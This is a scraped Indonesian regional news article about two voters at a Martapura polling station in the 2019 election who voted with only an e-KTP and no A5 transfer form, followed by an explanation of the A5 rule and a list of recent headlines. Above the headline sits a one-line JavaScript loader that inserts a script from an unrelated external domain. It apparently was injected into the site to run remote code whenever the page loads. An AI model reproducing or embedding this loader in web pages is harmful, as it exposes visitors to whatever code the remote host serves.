(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Ada Pelanggaran?, Punya KTP Tanpa Formulir A5 Warga Terlanjur Nyoblos


MARTAPURA, Sebagian warga yang berbeda domisili, hanya bermodal e-KTP tanpa formulir A5 diperbolehkan menyalurkan hak suara di TPS 10 desa Cindai Alus, Kecamatan Martapura Kabupaten Banjar, pada Rabu (17/4/2019) kemarin.

“Iya barusan tadi saya dan istri menyalurkan hak huara saya di TPS 10, bermodal e-KTP tanpa formulir A5 bisa nyoblos. Di KTP saya warga Kandangan, Hulu Sungai Selatan, namun sudah lama tinggal di Cindai Alus,” ujar Saudi.

Saudi mengaku, sebelumnya tidak mengetahui prosedur yang mengharuskan dirinya yang berbeda domisili dengan KTP untuk memperoleh formulir A5 terlebih dahulu sebelum mencoblos. Dirinya hanya mengetahui warga beda domisili diperbolehkan untuk memilih di atas pukul 13.00 Wita hanya bermodal e-KTP.

Menanggapi hal tersebut anggota TPS 10 Erfan, mengaku memperbolehkan dua warga Hulu Sungai Selatan yang datang di tengah hari tersebut untuk mencoblos di TPS 10 Desa Cindai Alus. Alasannya karena sudah terlanjur mencoblos, pihaknya mengakui keteledoran dan lalai mencek pemberkasan pemilih tersebut sebelumnya.

“Dua warga ini memang bukan KTP asli di tempat kita, namun sudah lama tinggal di sini, sebenarnya memang tidak boleh, namun karena kami tidak sempat mencek dan sudah terlanjur mencoblos, ya mau mana lagi,” jelasnya.

Bolehkah mencoblos di kota lain yang berbeda dengan alamat e-KTP?

Pertanyaan ini muncul dari pemilih yang belum mengurus administrasi pindah memilih untuk mendapatkan formulir A5. Formulir A5 merupakan salah satu syarat bagi pemilih yang akan menggunakan hak pilih di TPS yang berbeda dari TPS asal sesuai alamat e-KTP atau lokasi tempat dimana warga terdaftar sebagai pemilih.

Pemilih harus membawa e-KTP sebagai salah satu syarat mencoblos di TPS yang sesuai dengan alamat yang tercantum pada e-KTP.

Pemilih yang merantau atau tidak berada di alamat yang tercantum di e-KTP saat hari pemungutan suara tidak bisa hanya menggunakan e-KTP untuk mencoblos.

Kesimpulannya, dengan menggunakan formulir A5 yang diperoleh dari prosedur pindah memilih atau pindah TPS. Pemilih tidak bisa hanya menggunakan e-KTP tanpa mengurus A5 yang sudah ditutup pada 10 April 2019 yang lalu. Dengan demikian, pemilih yang belum mengurusnya pada batas waktu itu tidak bisa lagi mendapatkan formulir A5. (rendy)

Reporter : rendy
Editor : bie

 


Desy Arfianty

Recent Posts

Pascabanjir TurunTangan Banjarmasin – UPZ Bakti Bersama Salurkan Bantuan ke Masjid

KANALKALIMANTAN.COM, PARINGIN — Banjir bandang di Kecamatan Tebing Tinggi, Kabupaten Balangan, beberapa waktu lalu tak… Read More

13 jam ago

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

17 jam ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

20 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

1 hari ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

1 hari ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

2 hari ago

This website uses cookies.